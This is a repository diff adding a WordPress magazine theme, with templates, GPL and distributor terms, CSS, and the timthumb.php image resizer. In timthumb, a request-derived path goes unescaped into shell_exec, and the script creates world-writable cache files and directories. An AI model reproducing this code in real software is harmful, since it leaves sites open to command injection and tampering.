    Middle

    +

    Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Vivamus pretium pede eget neque.

    +
    + + +
    +
    +have_posts()) : + while ($the_query->have_posts()) : $the_query->the_post(); +if ( $post->ID == $do_not_duplicate ) { continue; update_post_caches($posts); } +?> +
    "> + ID, "newsworthy_image_value", $single = true) != "") { ?>&h=53&w=140&zc=1 ?>" alt="" /> +

    + + +
    + + + +
     
    + +
    + +

    About this template

    +

    About MeNewsworthy is the 16th template from DemusDesign. It's a magazine-style template built on a 6-column grid that's perfect as a news site or any site with a lot of information. It includes a demo of a blog post and a style demo.

    + +
    +
    + +

    License and Use

    +

    Newsworthy is released under the Creative Commons 2.5 license, which means you can use it free, and even make derivative works, so long as you keep the attribution link back to DemusDesign in the footer. If you do use it, contact me through my site to let me know. I love seeing my templates at work! Thanks.

    + +
    +
    +
     
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/license.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/license.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +This wordpress theme must be used with accordance to it's creator's license. You can find the link to theme creator's website in your Wordpress admin panel. Most of themes downloaded from themeswp.com are released under GNU GPL license. Also when downloading theme from themeswp.com you should read and agree with terms of services: + +1) GNU GPL License + +GNU GENERAL PUBLIC LICENSE +Version 2, June 1991 + +Copyright (C) 1989, 1991 Free Software Foundation, Inc. +51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + +Preamble + +The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. + +When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. + +To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. + +For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. + +We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. + +Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. + +Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. + +The precise terms and conditions for copying, distribution and modification follow. +TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + +0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. + +1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. + +You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. + +2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. + b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. + c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. + +3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/menu_fade.jpg Binary file web/wp-content/themes/newsworthy/menu_fade.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/menu_meta.jpg Binary file web/wp-content/themes/newsworthy/menu_meta.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,27 @@ + + +
    +
    + +
    + +

    + + + + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> + + ', '

    '); ?> + +
    + + + + + + +
    +
     
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/screenshot.png Binary file web/wp-content/themes/newsworthy/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/scripts/cache/6d5a35ed89b56be76327845775134444.png Binary file web/wp-content/themes/newsworthy/scripts/cache/6d5a35ed89b56be76327845775134444.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/scripts/cache/edee903b764c49d60854c57caf327da7.png Binary file web/wp-content/themes/newsworthy/scripts/cache/edee903b764c49d60854c57caf327da7.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/scripts/timthumb.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/scripts/timthumb.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,613 @@ + +*/ + +/* +$sizeLimits = array( + "100x100", + "150x150", +); +*/ + +define ('CACHE_SIZE', 250); // number of files to store before clearing cache +define ('CACHE_CLEAR', 5); // maximum number of files to delete on each cache clear +define ('VERSION', '1.09'); // version number (to force a cache refresh + +$imageFilters = array( + "1" => array(IMG_FILTER_NEGATE, 0), + "2" => array(IMG_FILTER_GRAYSCALE, 0), + "3" => array(IMG_FILTER_BRIGHTNESS, 1), + "4" => array(IMG_FILTER_CONTRAST, 1), + "5" => array(IMG_FILTER_COLORIZE, 4), + "6" => array(IMG_FILTER_EDGEDETECT, 0), + "7" => array(IMG_FILTER_EMBOSS, 0), + "8" => array(IMG_FILTER_GAUSSIAN_BLUR, 0), + "9" => array(IMG_FILTER_SELECTIVE_BLUR, 0), + "10" => array(IMG_FILTER_MEAN_REMOVAL, 0), + "11" => array(IMG_FILTER_SMOOTH, 0), +); + +// sort out image source +$src = get_request("src", ""); +if($src == "" || strlen($src) <= 3) { + displayError("no image specified"); +} + +// clean params before use +$src = cleanSource($src); +// last modified time (for caching) +$lastModified = filemtime($src); + +// get properties +$new_width = preg_replace("/[^0-9]+/", "", get_request("w", 0)); +$new_height = preg_replace("/[^0-9]+/", "", get_request("h", 0)); +$zoom_crop = preg_replace("/[^0-9]+/", "", get_request("zc", 1)); +$quality = preg_replace("/[^0-9]+/", "", get_request("q", 80)); +$filters = get_request("f", ""); + +if ($new_width == 0 && $new_height == 0) { + $new_width = 100; + $new_height = 100; +} + +// set path to cache directory (default is ./cache) +// this can be changed to a different location +$cache_dir = './cache'; + +// get mime type of src +$mime_type = mime_type($src); + +// check to see if this image is in the cache already +check_cache( $cache_dir, $mime_type ); + +// if not in cache then clear some space and generate a new file +cleanCache(); + +ini_set('memory_limit', "30M"); + +// make sure that the src is gif/jpg/png +if(!valid_src_mime_type($mime_type)) { + displayError("Invalid src mime type: " .$mime_type); +} + +// check to see if GD function exist +if(!function_exists('imagecreatetruecolor')) { + displayError("GD Library Error: imagecreatetruecolor does not exist"); +} + +if(strlen($src) && file_exists($src)) { + + // open the existing image + $image = open_image($mime_type, $src); + if($image === false) { + displayError('Unable to open image : ' . $src); + } + + // Get original width and height + $width = imagesx($image); + $height = imagesy($image); + + // don't allow new width or height to be greater than the original + if( $new_width > $width ) { + $new_width = $width; + } + if( $new_height > $height ) { + $new_height = $height; + } + + // generate new w/h if not provided + if( $new_width && !$new_height ) { + + $new_height = $height * ( $new_width / $width ); + + } elseif($new_height && !$new_width) { + + $new_width = $width * ( $new_height / $height ); + + } elseif(!$new_width && !$new_height) { + + $new_width = $width; + $new_height = $height; + + } + + // create a new true color image + $canvas = imagecreatetruecolor( $new_width, $new_height ); + imagealphablending($canvas, false); + // Create a new transparent color for image + $color = imagecolorallocatealpha($canvas, 0, 0, 0, 127); + // Completely fill the background of the new image with allocated color. + imagefill($canvas, 0, 0, $color); + // Restore transparency blending + imagesavealpha($canvas, true); + + if( $zoom_crop ) { + + $src_x = $src_y = 0; + $src_w = $width; + $src_h = $height; + + $cmp_x = $width / $new_width; + $cmp_y = $height / $new_height; + + // calculate x or y coordinate and width or height of source + + if ( $cmp_x > $cmp_y ) { + + $src_w = round( ( $width / $cmp_x * $cmp_y ) ); + $src_x = round( ( $width - ( $width / $cmp_x * $cmp_y ) ) / 2 ); + + } elseif ( $cmp_y > $cmp_x ) { + + $src_h = round( ( $height / $cmp_y * $cmp_x ) ); + $src_y = round( ( $height - ( $height / $cmp_y * $cmp_x ) ) / 2 ); + + } + + imagecopyresampled( $canvas, $image, 0, 0, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h ); + + } else { + + // copy and resize part of an image with resampling + imagecopyresampled( $canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height ); + + } + + if ($filters != "") { + // apply filters to image + $filterList = explode("|", $filters); + foreach($filterList as $fl) { + $filterSettings = explode(",", $fl); + if(isset($imageFilters[$filterSettings[0]])) { + + for($i = 0; $i < 4; $i ++) { + if(!isset($filterSettings[$i])) { + $filterSettings[$i] = null; + } + } + + switch($imageFilters[$filterSettings[0]][1]) { + + case 1: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1]); + break; + + case 2: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2]); + break; + + case 3: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3]); + break; + + default: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0]); + break; + + } + } + } + } + + // output image to browser based on mime type + show_image($mime_type, $canvas, $cache_dir); + + // remove image from memory + imagedestroy($canvas); + +} else { + + if(strlen($src)) { + displayError("image " . $src . " not found"); + } else { + displayError("no source specified"); + } + +} + +/** + * + */ +function show_image($mime_type, $image_resized, $cache_dir) { + + global $quality; + + // check to see if we can write to the cache directory + $is_writable = 0; + $cache_file_name = $cache_dir . '/' . get_cache_file(); + + if(touch($cache_file_name)) { + + // give 666 permissions so that the developer + // can overwrite web server user + chmod($cache_file_name, 0666); + $is_writable = 1; + + } else { + + $cache_file_name = NULL; + header('Content-type: ' . $mime_type); + + } + + $quality = floor($quality * 0.09); + + imagepng($image_resized, $cache_file_name, $quality); + + if($is_writable) { + show_cache_file($cache_dir, $mime_type); + } + + imagedestroy($image_resized); + + displayError("error showing image"); + +} + +/** + * + */ +function get_request( $property, $default = 0 ) { + + if( isset($_REQUEST[$property]) ) { + + return $_REQUEST[$property]; + + } else { + + return $default; + + } + +} + +/** + * + */ +function open_image($mime_type, $src) { + + if(stristr($mime_type, 'gif')) { + + $image = imagecreatefromgif($src); + + } elseif(stristr($mime_type, 'jpeg')) { + + @ini_set('gd.jpeg_ignore_warning', 1); + $image = imagecreatefromjpeg($src); + + } elseif( stristr($mime_type, 'png')) { + + $image = imagecreatefrompng($src); + + } + + return $image; + +} + +/** + * clean out old files from the cache + * you can change the number of files to store and to delete per loop in the defines at the top of the code + */ +function cleanCache() { + + $files = glob("cache/*", GLOB_BRACE); + + $yesterday = time() - (24 * 60 * 60); + + if (count($files) > 0) { + + usort($files, "filemtime_compare"); + $i = 0; + + if (count($files) > CACHE_SIZE) { + + foreach ($files as $file) { + + $i ++; + + if ($i >= CACHE_CLEAR) { + return; + } + + if (filemtime($file) > $yesterday) { + return; + } + + unlink($file); + + } + + } + + } + +} + +/** + * compare the file time of two files + */ +function filemtime_compare($a, $b) { + + return filemtime($a) - filemtime($b); + +} + +/** + * determine the file mime type + */ +function mime_type($file) { + + if (stristr(PHP_OS, 'WIN')) { + $os = 'WIN'; + } else { + $os = PHP_OS; + } + + $mime_type = ''; + + if (function_exists('mime_content_type')) { + $mime_type = mime_content_type($file); + } + + // use PECL fileinfo to determine mime type + if (!valid_src_mime_type($mime_type)) { + if (function_exists('finfo_open')) { + $finfo = finfo_open(FILEINFO_MIME); + $mime_type = finfo_file($finfo, $file); + finfo_close($finfo); + } + } + + // try to determine mime type by using unix file command + // this should not be executed on windows + if (!valid_src_mime_type($mime_type) && $os != "WIN") { + if (preg_match("/FREEBSD|LINUX/", $os)) { + $mime_type = trim(@shell_exec('file -bi "' . $file . '"')); + } + } + + // use file's extension to determine mime type + if (!valid_src_mime_type($mime_type)) { + + // set defaults + $mime_type = 'image/png'; + // file details + $fileDetails = pathinfo($file); + $ext = strtolower($fileDetails["extension"]); + // mime types + $types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + ); + + if (strlen($ext) && strlen($types[$ext])) { + $mime_type = $types[$ext]; + } + + } + + return $mime_type; + +} + +/** + * + */ +function valid_src_mime_type($mime_type) { + + if (preg_match("/jpg|jpeg|gif|png/i", $mime_type)) { + return true; + } + + return false; + +} + +/** + * + */ +function check_cache($cache_dir, $mime_type) { + + // make sure cache dir exists + if (!file_exists($cache_dir)) { + // give 777 permissions so that developer can overwrite + // files created by web server user + mkdir($cache_dir); + chmod($cache_dir, 0777); + } + + show_cache_file($cache_dir, $mime_type); + +} + +/** + * + */ +function show_cache_file($cache_dir) { + + $cache_file = $cache_dir . '/' . get_cache_file(); + + if (file_exists($cache_file)) { + + $gmdate_mod = gmdate("D, d M Y H:i:s", filemtime($cache_file)); + + if(! strstr($gmdate_mod, "GMT")) { + $gmdate_mod .= " GMT"; + } + + if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"])) { + + // check for updates + $if_modified_since = preg_replace("/;.*$/", "", $_SERVER["HTTP_IF_MODIFIED_SINCE"]); + + if ($if_modified_since == $gmdate_mod) { + header("HTTP/1.1 304 Not Modified"); + exit; + } + + } + + $fileSize = filesize($cache_file); + + // send headers then display image + header("Content-Type: image/png"); + header("Accept-Ranges: bytes"); + header("Last-Modified: " . $gmdate_mod); + header("Content-Length: " . $fileSize); + header("Cache-Control: max-age=9999, must-revalidate"); + header("Expires: " . $gmdate_mod); + + readfile($cache_file); + + exit; + + } + +} + +/** + * + */ +function get_cache_file() { + + global $lastModified; + static $cache_file; + + if(!$cache_file) { + $cachename = $_SERVER['QUERY_STRING'] . VERSION . $lastModified; + $cache_file = md5($cachename) . '.png'; + } + + return $cache_file; + +} + +/** + * check to if the url is valid or not + */ +function valid_extension ($ext) { + + if (preg_match("/jpg|jpeg|png|gif/i", $ext)) { + return TRUE; + } else { + return FALSE; + } + +} + +/** + * tidy up the image source url + */ +function cleanSource($src) { + + // remove slash from start of string + if(strpos($src, "/") == 0) { + $src = substr($src, -(strlen($src) - 1)); + } + + // remove http/ https/ ftp + $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); + // remove domain name from the source url + $host = $_SERVER["HTTP_HOST"]; + $src = str_replace($host, "", $src); + $host = str_replace("www.", "", $host); + $src = str_replace($host, "", $src); + + // don't allow users the ability to use '../' + // in order to gain access to files below document root + + // src should be specified relative to document root like: + // src=images/img.jpg or src=/images/img.jpg + // not like: + // src=../images/img.jpg + $src = preg_replace("/\.\.+\//", "", $src); + + // get path to image on file system + $src = get_document_root($src) . '/' . $src; + + return $src; + +} + +/** + * + */ +function get_document_root ($src) { + + // check for unix servers + if(@file_exists($_SERVER['DOCUMENT_ROOT'] . '/' . $src)) { + return $_SERVER['DOCUMENT_ROOT']; + } + + // check from script filename (to get all directories to timthumb location) + $parts = array_diff(explode('/', $_SERVER['SCRIPT_FILENAME']), explode('/', $_SERVER['DOCUMENT_ROOT'])); + $path = $_SERVER['DOCUMENT_ROOT'] . '/'; + foreach ($parts as $part) { + $path .= $part . '/'; + if (file_exists($path . $src)) { + return $path; + } + } + + // the relative paths below are useful if timthumb is moved outside of document root + // specifically if installed in wordpress themes like mimbo pro: + // /wp-content/themes/mimbopro/scripts/timthumb.php + $paths = array( + ".", + "..", + "../..", + "../../..", + "../../../..", + "../../../../.." + ); + + foreach($paths as $path) { + if(@file_exists($path . '/' . $src)) { + return $path; + } + } + + // special check for microsoft servers + if(!isset($_SERVER['DOCUMENT_ROOT'])) { + $path = str_replace("/", "\\", $_SERVER['ORIG_PATH_INFO']); + $path = str_replace($path, "", $_SERVER['SCRIPT_FILENAME']); + + if( @file_exists( $path . '/' . $src ) ) { + return $path; + } + } + + displayError('file not found ' . $src); + +} + +/** + * generic error message + */ +function displayError($errorString = '') { + + header('HTTP/1.1 400 Bad Request'); + die($errorString); + +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,37 @@ + + +
    +
    +
    + +

    Search

    + +

    You searched for: . Here are the results

    + +
    + +
    +
    + +
    "> + +

    + + +
    + + + +
     
    + + +
    +
     
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,67 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ + + +
    +
    + +
    +
    +
    +

    Share This

    + +
    + + +
    +

    Vivamus volutpat consectetuer nisl. Vivamus et est. Pellentesque eget purus et dui fringilla tempor. Nullam ac odio quis leo bibendum blandit. Aenean fermentum sodales augue. Cras egestas libero. Phasellus vel nisi eget sem pellentesque volutpat.

    +
    + +
    + +

    +
    Posted by on
    + ID, "newsworthy_image_value", $single = true) != "") { ?>&h=207&w=450&zc=1 ?>" alt="" /> + + + '

    Pages: ', 'after' => '

    ', 'next_or_number' => 'number')); ?> + +Tags: ', ', ', '

    '); ?> + + ', '

    '); ?> + + + + + +
    + + + + + + +
    +
     
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,756 @@ +/* +Theme Name: Newsworthy +Theme URI: http://www.themelab.com/free-wordpress-themes/ +Description: An news/magazine theme. Template designed by DemusDesign +Version: 1.0 +Author: Theme Lab +Author URI: http://www.themelab.com/ +Tags: magazine, widgets, newspaper + +*/ + +* { + margin: 0; + padding: 0; + } + +body { + background: #DDD; + color: #333; + } + +/* ------------------------------------------ + HTML STYLE TAGS + ------------------------------------------- */ +/*block elements */ +p { + line-height: 1.5em; + margin-bottom: 10px; + font-family: georgia,times,serif; + } + +code { + margin: 3px 0; + padding: 15px; + text-align: left; + display: block; + overflow: auto; + font: 500 1em'Lucida Console', 'Courier New', Monospace; + /* white-space: pre; */ + border: 1px solid #F0F0F0; + background: #F8F8F8; +} + +blockquote { + padding: 20px; + background: #F8F8F8; + border: 1px solid #F0F0F0; + } + +/* headers */ +h1 { + font-family: georgia,times,serif; + margin-bottom: 5px; + } + +h1.head, h1.head a { + margin: 15px 10px 0px 20px; + color: #000; + text-decoration: none; + } + +h1.head a { + margin-left: 0px; + } + +h2.head { + font-style: italic; + font-size: 1.2em; + color: #900; + margin: 0 10px 15px 20px; + } + +h2 { + margin-bottom: 10px; + } + +h3 { + margin: 5px 0; + } + +h4 { + color: #900; + } + + +/* images */ +img.left { + border:1px solid #DDD; + padding: 2px; + background: #F0F0F0; + margin: 0 8px 8px 0; + } + +img.banner { + background: #FFF; + padding: 3px; + border: 1px solid #DDD; + margin: 0 7px 14px 7px; + } + +img.banner:hover { + border: 1px solid #B6B6B6; + background: #F6F6F6; + } + +/*lists & definitions */ +ol.normal { + margin: 10px 0px 